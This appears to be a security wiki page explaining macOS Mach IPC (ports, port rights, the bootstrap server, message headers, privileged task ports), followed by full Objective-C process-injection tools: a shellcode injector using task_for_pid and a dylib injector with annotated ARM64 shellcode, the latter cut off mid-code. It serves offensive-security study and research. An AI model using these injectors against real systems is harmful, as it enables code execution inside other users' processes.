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macOS IPC - Inter Process Communication
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Mach messaging via Ports
Basic Information
Mach uses tasks as the smallest unit for sharing resources, and each task can contain multiple threads. These tasks and threads are mapped 1:1 to POSIX processes and threads.
Communication between tasks occurs via Mach Inter-Process Communication (IPC), utilising one-way communication channels. Messages are transferred between ports, which act kind of message queues managed by the kernel.
A port is the basic element of Mach IPC. It can be used to send messages and to receive them.
Each process has an IPC table, in there it's possible to find the mach ports of the process. The name of a mach port is actually a number (a pointer to the kernel object).
A process can also send a port name with some rights to a different task and the kernel will make this entry in the IPC table of the other task appear.
Port Rights
Port rights, which define what operations a task can perform, are key to this communication. The possible port rights are (definitions from here):
- Receive right, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be one receive right for each port in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe).
- A task with the Receive right can receive messages and create Send rights, allowing it to send messages. Originally only the own task has Receive right over its port.
- If the owner of the Receive right dies or kills it, the send right became useless (dead name).
- Send right, which allows sending messages to the port.
- The Send right can be cloned so a task owning a Send right can clone the right and grant it to a third task.
- Note that port rights can also be passed though Mac messages.
- Send-once right, which allows sending one message to the port and then disappears.
- This right cannot be cloned, but it can be moved.
- Port set right, which denotes a port set rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like
select/poll/epoll/kqueuein Unix. - Dead name, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names.
Tasks can transfer SEND rights to others, enabling them to send messages back. SEND rights can also be cloned, so a task can duplicate and give the right to a third task. This, combined with an intermediary process known as the bootstrap server, allows for effective communication between tasks.
File Ports
File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a fileport from a given FD using fileport_makeport and create a FD froma. fileport using fileport_makefd.
Establishing a communication
As mentioned previously, it's possible to send rights using Mach messages, however, you cannot send a right without already having a right to send a Mach message. So, how is the first communication stablished?
For this, he bootstrap server (launchd in mac) is involved, as everyone can get a SEND right to the bootstrap server, it's possible to ask it for a right to send a message to another process:
- Task A creates a new port, getting the RECEIVE right over it.
- Task A, being the holder of the RECEIVE right, generates a SEND right for the port.
- Task A establishes a connection with the bootstrap server, and sends it the SEND right for the port it generated at the beginning.
- Remember that anyone can get a SEND right to the bootstrap server.
- Task A sends a
bootstrap_registermessage to the bootstrap server to associate the given port with a name likecom.apple.taska - Task B interacts with the bootstrap server to execute a bootstrap lookup for the service name (
bootstrap_lookup). So the bootstrap server can respond, task B will send it a SEND right to a port it previously created inside the lookup message. If the lookup is successful, the server duplicates the SEND right received from Task A and transmits it to Task B.- Remember that anyone can get a SEND right to the bootstrap server.
- With this SEND right, Task B is capable of sending a message to Task A.
- For a bi-directional communication usually task B generates a new port with a RECEIVE right and a SEND right, and gives the SEND right to Task A so it can send messages to TASK B (bi-directional communication).
The bootstrap server cannot authenticate the service name claimed by a task. This means a task could potentially impersonate any system task, such as falsely claiming an authorization service name and then approving every request.
Then, Apple stores the names of system-provided services in secure configuration files, located in SIP-protected directories: /System/Library/LaunchDaemons and /System/Library/LaunchAgents. Alongside each service name, the associated binary is also stored. The bootstrap server, will create and hold a RECEIVE right for each of these service names.
For these predefined services, the lookup process differs slightly. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows:
- Task B initiates a bootstrap lookup for a service name.
- launchd checks if the task is running and if it isn’t, starts it.
- Task A (the service) performs a bootstrap check-in (
bootstrap_check_in()). Here, the bootstrap server creates a SEND right, retains it, and transfers the RECEIVE right to Task A. - launchd duplicates the SEND right and sends it to Task B.
- Task B generates a new port with a RECEIVE right and a SEND right, and gives the SEND right to Task A (the svc) so it can send messages to TASK B (bi-directional communication).
However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation.
❌
Therefore, launchd should never crash or the whole sysem will crash.
A Mach Message
The mach_msg function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a mach_msg_header_t structure, succeeded by the actual message content. The structure is defined as follows:
c
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;Processes possessing a receive right can receive messages on a Mach port. Conversely, the senders are granted a send or a send-once right. The send-once right is exclusively for sending a single message, after which it becomes invalid.
The initial field msgh_bits is a bitmap:
- First bit (most significative) is used to indicate that a message is complex (more on this below)
- The 3rd and 4th are used by the kernel
- The 5 least significant bits of the 2nd byte from can be used for voucher: another type of port to send key/value combinations.
- The 5 least significant bits of the 3rd byte from can be used for local port
- The 5 least significant bits of the 4th byte from can be used for remote port
The types that can be specified in the voucher, local and remote ports are (from mach/message.h):
c
#define MACH_MSG_TYPE_MOVE_RECEIVE 16 /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND 17 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE 18 /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND 19 /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND 20 /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE 21 /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE 22 /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE 24 /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND 25 /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26 /* must hold sendonce right */For example, MACH_MSG_TYPE_MAKE_SEND_ONCE can be used to indicate that a send-once right should be derived and transferred for this port. It can also be specified MACH_PORT_NULL to prevent the recipient to be able to reply.
In order to achieve an easy bi-directional communication a process can specify a mach port in the mach message header called the reply port (msgh_local_port) where the receiver of the message can send a reply to this message.
✅
Note that this kind of bi-directional communication is used in XPC messages that expect a replay (xpc_connection_send_message_with_reply and xpc_connection_send_message_with_reply_sync). But usually different ports are created as explained previously to create the bi-directional communication.
The other fields of the message header are:
msgh_size: the size of the entire packet.msgh_remote_port: the port on which this message is sent.msgh_voucher_port: mach vouchers.msgh_id: the ID of this message, which is interpreted by the receiver.
❌
Note that mach messages are sent over a mach port, which is a single receiver, multiple sender communication channel built into the mach kernel. Multiple processes can send messages to a mach port, but at any point only a single process can read from it.
Messages are then formed by the mach_msg_header_t header followed by the body and by the trailer (if any) and it can grant permission to reply to it. In these cases, the kernel just need to pass the message from one task to the other.
A trailer is information added to the message by the kernel (cannot be set by the user) which can be requested in message reception with the flags MACH_RCV_TRAILER_<trailer_opt> (there is different information that can be requested).
Complex Messages
However, there are other more complex messages, like the ones passing additional port rights or sharing memory, where the kernel also needs to send these objects to the recipient. In this cases the most significant bit of the header msgh_bits is set.
The possible descriptors to pass are defined in mach/message.h:
c
#define MACH_MSG_PORT_DESCRIPTOR 0
#define MACH_MSG_OOL_DESCRIPTOR 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR 2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR 3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR 4
#pragma pack(push, 4)
typedef struct{
natural_t pad1;
mach_msg_size_t pad2;
unsigned int pad3 : 24;
mach_msg_descriptor_type_t type : 8;
} mach_msg_type_descriptor_t;In 32bits, all the descriptors are 12B and the descriptor type is in the 11th one. In 64 bits, the sizes vary.
❌
The kernel will copy the descriptors from one task to the other but first creating a copy in kernel memory. This technique, known as "Feng Shui" has been abused in several exploits to make the kernel copy data in its memory making a process send descriptors to itself. Then the process can receive the messages (the kernel will free them).
It's also possible to send port rights to a vulnerable process, and the port rights will just appear in the process (even if he isn't handling them).
Mac Ports APIs
Note that ports are associated to the task namespace, so to create or search for a port, the task namespace is also queried (more in mach/mach_port.h):
mach_port_allocate|mach_port_construct: Create a port.mach_port_allocatecan also create a port set: receive right over a group of ports. Whenever a message is received it's indicated the port from where it was.
mach_port_allocate_name: Change the name of the port (by default 32bit integer)mach_port_names: Get port names from a targetmach_port_type: Get rights of a task over a namemach_port_rename: Rename a port (like dup2 for FDs)mach_port_allocate: Allocate a new RECEIVE, PORT_SET or DEAD_NAMEmach_port_insert_right: Create a new right in a port where you have RECEIVEmach_port_...mach_msg|mach_msg_overwrite: Functions used to send and receive mach messages. The overwrite version allows to specify a different buffer for message reception (the other version will just reuse it).
Debug mach_msg
As the functions mach_msg and mach_msg_overwrite are the ones used to send a receive messages, setting a breakpoint on them would allow to inspect the sent a received messages.
For example start debugging any application you can debug as it will load libSystem.B which will use this function.
(lldb) b mach_msg
Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
(lldb) r
Process 71019 launched: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
Process 71019 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
-> 0x181d3ac20 <+0>: pacibsp
0x181d3ac24 <+4>: sub sp, sp, #0x20
0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
To get the arguments of mach_msg check the registers. These are the arguments (from mach/message.h):
c
__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);Get the values from the registries:
armasm
reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)Inspect the message header checking the first argument:
armasm
(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322
; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)That type of mach_msg_bits_t is very common to allow a reply.
Enumerate ports
bash
lsmp -p <pid>
sudo lsmp -p 1
Process (1) : launchd
name ipc-object rights flags boost reqs recv send sonce oref qlimit msgcount context identifier type
--------- ---------- ---------- -------- ----- ---- ----- ----- ----- ---- ------ -------- ------------------ ----------- ------------
0x00000203 0x181c4e1d send -------- --- 2 0x00000000 TASK-CONTROL SELF (1) launchd
0x00000303 0x183f1f8d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x00000403 0x183eb9dd recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000051b 0x1840cf3d send -------- --- 2 -> 6 0 0x0000000000000000 0x00011817 (380) WindowServer
0x00000603 0x183f698d recv -------- 0 --- 1 N 5 0 0x0000000000000000
0x0000070b 0x175915fd recv,send ---GS--- 0 --- 1 2 Y 5 0 0x0000000000000000
0x00000803 0x1758794d send -------- --- 1 0x00000000 CLOCK
0x0000091b 0x192c71fd send -------- D-- 1 -> 1 0 0x0000000000000000 0x00028da7 (418) runningboardd
0x00000a6b 0x1d4a18cd send -------- --- 2 -> 16 0 0x0000000000000000 0x00006a03 (92247) Dock
0x00000b03 0x175a5d4d send -------- --- 2 -> 16 0 0x0000000000000000 0x00001803 (310) logd
[...]
0x000016a7 0x192c743d recv,send --TGSI-- 0 --- 1 1 Y 16 0 0x0000000000000000
+ send -------- --- 1 <- 0x00002d03 (81948) seserviced
+ send -------- --- 1 <- 0x00002603 (74295) passd
[...]The name is the default name given to the port (check how it's increasing in the first 3 bytes). The ipc-object is the obfuscated unique identifier of the port.
Note also how the ports with only send right are identifying the owner of it (port name + pid).
Also note the use of + to indicate other tasks connected to the same port.
It's also possible to use procesxp to see also the registered service names (with SIP disabled due to the need of com.apple.system-task-port):
procesp 1 portsYou can install this tool in iOS downloading it from http://newosxbook.com/tools/binpack64-256.tar.gz
Code example
Note how the sender allocates a port, create a send right for the name org.darlinghq.example and send it to the bootstrap server while the sender asked for the send right of that name and used it to send a message.
Privileged Ports
There are some special ports that allows to perform certain sensitive actions or access certain sensitive data in case a tasks have the SEND permissions over them. This makes these ports very interesting from an attackers perspective not only because of the capabilities but because it's possible to share SEND permissions across tasks.
Host Special Ports
These ports are represented by a number.
SEND rights can be obtained by calling host_get_special_port and RECEIVE rights calling host_set_special_port. However, both calls require the host_priv port which only root can access. Moreover, in the past root was able to call host_set_special_port and hijack arbitrary that allowed for example to bypass code signatures by hijacking HOST_KEXTD_PORT (SIP now prevents this).
These are divided in 2 groups: The first 7 ports are owned by the kernel being the 1 HOST_PORT, the 2 HOST_PRIV_PORT , the 3 HOST_IO_MASTER_PORT and the 7 is HOST_MAX_SPECIAL_KERNEL_PORT.
The ones starting from the number 8 are owned by system daemons and they can be found declared in host_special_ports.h.
- Host port: If a process has SEND privilege over this port he can get information about the system calling its routines like:
host_processor_info: Get processor infohost_info: Get host infohost_virtual_physical_table_info: Virtual/Physical page table (requires MACH_VMDEBUG)host_statistics: Get host statisticsmach_memory_info: Get kernel memory layout
- Host Priv port: A process with SEND right over this port can perform privileged actions like showing boot data or trying to load a kernel extension. The process need to be root to get this permission.
- Moreover, in order to call
kext_requestAPI it's needed to have other entitlementscom.apple.private.kext*which are only given to Apple binaries. - Other routines that can be called are:
host_get_boot_info: Getmachine_boot_info()host_priv_statistics: Get privileged statisticsvm_allocate_cpm: Allocate Contiguous Physical Memoryhost_processors: Send right to host processorsmach_vm_wire: Make memory resident
- As root can access this permission, it could call
host_set_[special/exception]_port[s]to hijack host special or exception ports.
- Moreover, in order to call
It's possible to see all the host special ports by running:
bash
procexp all ports | grep "HSP"Task Special Ports
These are ports reserved for well known services. It's possible to get/set them calling task_[get/set]_special_port. They can be found in task_special_ports.h:
c
typedef int task_special_port_t;
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
world.*/
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */From here:
- TASK_KERNEL_PORT[task-self send right]: The port used to control this task. Used to send messages that affect the task. This is the port returned by mach_task_self (see Task Ports below).
- TASK_BOOTSTRAP_PORT[bootstrap send right]: The task's bootstrap port. Used to send messages requesting return of other system service ports.
- TASK_HOST_NAME_PORT[host-self send right]: The port used to request information of the containing host. This is the port returned by mach_host_self.
- TASK_WIRED_LEDGER_PORT[ledger send right]: The port naming the source from which this task draws its wired kernel memory.
- TASK_PAGED_LEDGER_PORT[ledger send right]: The port naming the source from which this task draws its default memory managed memory.
Task Ports
Originally Mach didn't have "processes" it had "tasks" which was considered more like a container of threads. When Mach was merged with BSD each task was correlated with a BSD process. Therefore every BSD process has the details it needs to be a process and every Mach task also have its inner workings (except for the inexistent pid 0 which is the kernel_task).
There are two very interesting functions related to this:
task_for_pid(target_task_port, pid, &task_port_of_pid): Get a SEND right for the task por of the task related to the specified by thepidand give it to the indicatedtarget_task_port(which is usually the caller task which has usedmach_task_self(), but could be a SEND port over a different task.)pid_for_task(task, &pid): Given a SEND right to a task, find to which PID this task is related to.
In order to perform actions within the task, the task needed a SEND right to itself calling mach_task_self() (which uses the task_self_trap (28)). With this permission a task can perform several actions like:
task_threads: Get SEND right over all task ports of the threads of the tasktask_info: Get info about a tasktask_suspend/resume: Suspend or resume a tasktask_[get/set]_special_portthread_create: Create a threadtask_[get/set]_state: Control task state- and more can be found in mach/task.h
❌
Notice that with a SEND right over a task port of a different task, it's possible to perform such actions over a different task.
Moreover, the task_port is also the vm_map port which allows to read an manipulate memory inside a task with functions such as vm_read() and vm_write(). This basically means that a task with SEND rights over the task_port of a different task is going to be able to inject code into that task.
Remember that because the kernel is also a task, if someone manages to get a SEND permissions over the kernel_task, it'll be able to make the kernel execute anything (jailbreaks).
- Call
mach_task_self()to get the name for this port for the caller task. This port is only inherited acrossexec(); a new task created withfork()gets a new task port (as a special case, a task also gets a new task port afterexec()in a suid binary). The only way to spawn a task and get its port is to perform the "port swap dance" while doing afork(). - These are the restrictions to access the port (from
macos_task_policyfrom the binaryAppleMobileFileIntegrity):- If the app has
com.apple.security.get-task-allowentitlement processes from the same user can access the task port (commonly added by Xcode for debugging). The notarization process won't allow it to production releases. - Apps with the
com.apple.system-task-portsentitlement can get the task port for any process, except the kernel. In older versions it was calledtask_for_pid-allow. This is only granted to Apple applications. - Root can access task ports of applications not compiled with a hardened runtime (and not from Apple).
- If the app has
The task name port: An unprivileged version of the task port. It references the task, but does not allow controlling it. The only thing that seems to be available through it is task_info().
Thread Ports
Threads also have associated ports, which are visible from the task calling task_threads and from the processor with processor_set_threads. A SEND right to the thread port allows to use the function from the thread_act subsystem, like:
thread_terminatethread_[get/set]_stateact_[get/set]_statethread_[suspend/resume]thread_info- ...
Any thread can get this port calling to mach_thread_sef.
Shellcode Injection in thread via Task port
You can grab a shellcode from:
Compile the previous program and add the entitlements to be able to inject code with the same user (if not you will need to use sudo).
sc_injector.m
objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
// Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669
// and on https://newosxbook.com/src.jl?tree=listings&file=inject.c
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>✅
For this to work on iOS you need the entitlement dynamic-codesigning in order to be able to make a writable memory executable.
Dylib Injection in thread via Task port
In macOS threads might be manipulated via Mach or using posix pthread api. The thread we generated in the previos injection, was generated using Mach api, so it's not posix compliant.
It was possible to inject a simple shellcode to execute a command because it didn't need to work with posix compliant apis, only with Mach. More complex injections would need the thread to be also posix compliant.
Therefore, to improve the thread it should call pthread_create_from_mach_thread which will create a valid pthread. Then, this new pthread could call dlopen to load a dylib from the system, so instead of writing new shellcode to perform different actions it's possible to load custom libraries.
You can find example dylibs in (for example the one that generates a log and then you can listen to it):
dylib_injector.m
objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
